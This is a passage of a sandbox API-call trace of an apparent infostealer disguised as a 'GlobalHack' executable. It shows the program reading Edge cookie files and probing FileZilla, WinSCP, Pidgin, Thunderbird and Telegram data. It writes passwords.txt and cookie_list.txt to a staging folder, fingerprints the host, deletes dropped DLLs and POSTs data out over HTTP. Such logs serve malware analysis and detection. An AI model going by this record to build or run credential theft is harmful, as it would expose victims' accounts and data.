lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.530] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JN00AKV9.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jn00akv9.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.531] GetFileType (hFile=0x394) returned 0x1 [0051.531] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x58, lpOverlapped=0x0) returned 1 [0051.532] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.532] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\OR8K8VRM.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\or8k8vrm.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.532] GetFileType (hFile=0x394) returned 0x1 [0051.532] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x104, lpOverlapped=0x0) returned 1 [0051.533] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.534] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\TK0LXHBL.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\tk0lxhbl.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.534] GetFileType (hFile=0x394) returned 0x1 [0051.534] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0xd3, lpOverlapped=0x0) returned 1 [0051.535] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.535] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VC62GJSF.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vc62gjsf.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.536] GetFileType (hFile=0x394) returned 0x1 [0051.536] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0xb6, lpOverlapped=0x0) returned 1 [0051.537] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.537] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VSMDVD55.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vsmdvd55.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.537] GetFileType (hFile=0x394) returned 0x1 [0051.537] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x5c, lpOverlapped=0x0) returned 1 [0051.538] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.538] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x19d964*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19d964*=0) returned 0x0 [0051.538] WriteFile (in: hFile=0x388, lpBuffer=0x19d9b8*, nNumberOfBytesToWrite=0x89a, lpNumberOfBytesWritten=0x19d998, lpOverlapped=0x0 | out: lpBuffer=0x19d9b8*, lpNumberOfBytesWritten=0x19d998*=0x89a, lpOverlapped=0x0) returned 1 [0051.540] GetUserNameA (in: lpBuffer=0x19f4e8, pcbBuffer=0x19f4e4 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19f4e4) returned 1 [0051.540] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\filezilla\\recentservers.xml")) returned 0xffffffff [0051.540] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl\\WinSCP 2\\Configuration", ulOptions=0x0, samDesired=0x1, phkResult=0x19ea98 | out: phkResult=0x19ea98*=0x0) returned 0x2 [0051.540] GetUserNameA (in: lpBuffer=0x19f560, pcbBuffer=0x19f55c | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19f55c) returned 1 [0051.541] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\.purple\\accounts.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f4a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.541] GetLastError () returned 0x3 [0051.541] GetLastError () returned 0x3 [0051.541] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f530, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0051.541] GetFileType (hFile=0x388) returned 0x1 [0051.541] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.541] GetLastError () returned 0x83 [0051.541] GetLastError () returned 0x83 [0051.541] SetEnvironmentVariableA (lpName="PATH", lpValue="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\Program Files (x86)\\Mozilla Thunderbird") returned 1 [0051.541] LoadLibraryA (lpLibFileName="C:\\Program Files (x86)\\Mozilla Thunderbird\\nss3.dll") returned 0x0 [0051.542] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Thunderbird\\Profiles\\*", lpFindFileData=0x19f41c | out: lpFindFileData=0x19f41c) returned 0xffffffff [0051.542] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\The Bat!\\*", lpFindFileData=0x19f4a8 | out: lpFindFileData=0x19f4a8) returned 0xffffffff [0051.542] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Telegram Desktop\\tdata\\*", lpFindFileData=0x19f400 | out: lpFindFileData=0x19f400) returned 0xffffffff [0051.542] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f400 | out: lpFindFileData=0x19f400) returned 0 [0051.542] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Telegram Desktop\\tdata\\D877F783D5D3EF8C\\*", lpFindFileData=0x19f400 | out: lpFindFileData=0x19f400) returned 0xffffffff [0051.542] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f400 | out: lpFindFileData=0x19f400) returned 0 [0051.542] CreateFileW (lpFileName="files\\cookie_list.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookie_list.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f6e4, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0051.543] GetFileType (hFile=0x388) returned 0x1 [0051.543] WriteFile (in: hFile=0x388, lpBuffer=0x19dcb4*, nNumberOfBytesToWrite=0x1c1, lpNumberOfBytesWritten=0x19dc94, lpOverlapped=0x0 | out: lpBuffer=0x19dcb4*, lpNumberOfBytesWritten=0x19dc94*=0x1c1, lpOverlapped=0x0) returned 1 [0051.544] DeleteFileA (lpFileName="C:\\ProgramData\\freebl3.dll" (normalized: "c:\\programdata\\freebl3.dll")) returned 1 [0051.547] DeleteFileA (lpFileName="C:\\ProgramData\\mozglue.dll" (normalized: "c:\\programdata\\mozglue.dll")) returned 0 [0051.547] DeleteFileA (lpFileName="C:\\ProgramData\\msvcp140.dll" (normalized: "c:\\programdata\\msvcp140.dll")) returned 1 [0051.551] DeleteFileA (lpFileName="C:\\ProgramData\\nss3.dll" (normalized: "c:\\programdata\\nss3.dll")) returned 0 [0051.551] DeleteFileA (lpFileName="C:\\ProgramData\\softokn3.dll" (normalized: "c:\\programdata\\softokn3.dll")) returned 1 [0051.553] DeleteFileA (lpFileName="C:\\ProgramData\\vcruntime140.dll" (normalized: "c:\\programdata\\vcruntime140.dll")) returned 1 [0051.576] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0051.576] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f8b4, dwBufferLength=0x4) returned 1 [0051.576] InternetConnectA (hInternet=0xcc0004, lpszServerName="ip-api.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0051.577] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0051.577] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/line/", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0051.577] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0051.577] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0051.577] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0051.577] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0051.577] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0051.577] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 25", dwHeadersLength=0x12, dwModifiers=0x20000000) returned 1 [0051.577] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x1e90048*, dwOptionalLength=0x19 | out: lpOptional=0x1e90048*) returned 1 [0051.827] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0 | out: lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0) returned 0 [0051.827] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.827] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e82790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f734 | out: lpBuffer=0x1e82790*, lpdwNumberOfBytesRead=0x19f734*=0xa8) returned 1 [0051.827] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e82838, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f734 | out: lpBuffer=0x1e82838*, lpdwNumberOfBytesRead=0x19f734*=0x0) returned 1 [0051.827] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0 | out: lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0) returned 0 [0051.827] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0051.827] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0051.827] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0051.827] CreateFileW (lpFileName="files\\information.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\information.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f92c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0051.828] GetFileType (hFile=0x388) returned 0x1 [0051.828] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x394) returned 0x0 [0051.828] RegQueryValueExA (in: hKey=0x394, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x34, lpcbData=0x19f85c*=0x25) returned 0x0 [0051.828] RegCloseKey (hKey=0x394) returned 0x0 [0051.828] CharToOemA (in: pSrc="427a1946-e0ff-4097-8c9e-ca2c1e22780b", pDst=0x19f860 | out: pDst="427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 1 [0051.828] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19f9e4 | out: lpHwProfileInfo=0x19f9e4) returned 1 [0051.828] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x3a0 [0051.828] GetModuleFileNameExA (in: hProcess=0x3a0, hModule=0x0, lpFilename=0x19f958, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GlobalHack[RUEUNAVN][17.02.2019] .exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\globalhack[rueunavn][17.02.2019] .exe")) returned 0x43 [0051.829] CloseHandle (hObject=0x3a0) returned 1 [0051.829] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19fa60 | out: Wow64Process=0x19fa60) returned 1 [0051.829] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x3a0) returned 0x0 [0051.829] RegQueryValueExA (in: hKey=0x3a0, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x57, lpcbData=0x19f85c*=0xf) returned 0x0 [0051.829] RegCloseKey (hKey=0x3a0) returned 0x0 [0051.829] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x19f860 | out: pDst="Windows 10 Pro") returned 1 [0051.829] GetComputerNameA (in: lpBuffer=0x197a60, nSize=0x197a5c | out: lpBuffer="LHNIWSJ", nSize=0x197a5c) returned 1 [0051.829] GetUserNameA (in: lpBuffer=0x19f95c, pcbBuffer=0x19f958 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19f958) returned 1 [0051.830] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x10105d3 [0051.830] GetDeviceCaps (hdc=0x10105d3, index=8) returned 1440 [0051.830] GetDeviceCaps (hdc=0x10105d3, index=10) returned 900 [0051.830] ReleaseDC (hWnd=0x0, hDC=0x10105d3) returned 1 [0051.830] GetUserDefaultLocaleName (in: lpLocaleName=0x19f9b4, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6 [0051.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0051.831] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0051.831] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x561888 [0051.831] GetKeyboardLayoutList (in: nBuff=1, lpList=0x561888 | out: lpList=0x561888) returned 1 [0051.831] GetLocaleInfoA (in: Locale=0x409, LCType=0x2, lpLCData=0x19f860, cchData=512 | out: lpLCData="English (United States)") returned 24 [0051.919] LocalFree (hMem=0x561888) returned 0x0 [0051.919] GetSystemTime (in: lpSystemTime=0x19fa44 | out: lpSystemTime=0x19fa44*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x0, wDay=0x11, wHour=0xd, wMinute=0x24, wSecond=0x1e, wMilliseconds=0xab)) [0051.919] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19f96c | out: lpTimeZoneInformation=0x19f96c) returned 0x2 [0051.919] TzSpecificLocalTimeToSystemTime (in: lpTimeZoneInformation=0x19f96c, lpLocalTime=0x19fa44, lpUniversalTime=0x19fa34 | out: lpUniversalTime=0x19fa34) returned 1 [0051.920] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x3a0) returned 0x0 [0051.920] RegQueryValueExA (in: hKey=0x3a0, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x49, lpcbData=0x19f85c*=0x29) returned 0x0 [0051.920] RegCloseKey (hKey=0x3a0) returned 0x0 [0051.920] CharToOemA (in: pSrc="Intel (R) Core(TM) i5-7500 CPU @ 3.40GHz", pDst=0x19f860 | out: pDst="Intel (R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 1 [0051.920] GetSystemInfo (in: lpSystemInfo=0x19fa38 | out: lpSystemInfo=0x19fa38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0051.921] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74f40000 [0051.921] GetProcAddress (hModule=0x74f40000, lpProcName="GlobalMemoryStatusEx") returned 0x74f5a650 [0051.921] GlobalMemoryStatusEx (in: lpBuffer=0x19f9e8 | out: lpBuffer=0x19f9e8) returned 1 [0051.947] EnumDisplayDevicesW (in: lpDevice=0x0, iDevNum=0x0, lpDisplayDevice=0x19f6f0, dwFlags=0x1 | out: lpDisplayDevice=0x19f6f0) returned 1 [0051.948] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0051.952] Process32First (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.953] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.954] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.954] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.955] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.956] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.956] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.957] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.958] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.959] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.959] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.960] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.961] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.961] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.962] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.963] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.963] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.964] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.965] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.965] Process32Next (in: hSnapshot=0x3a0, lppe=0x19f880 | out: lppe=0x19f880*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 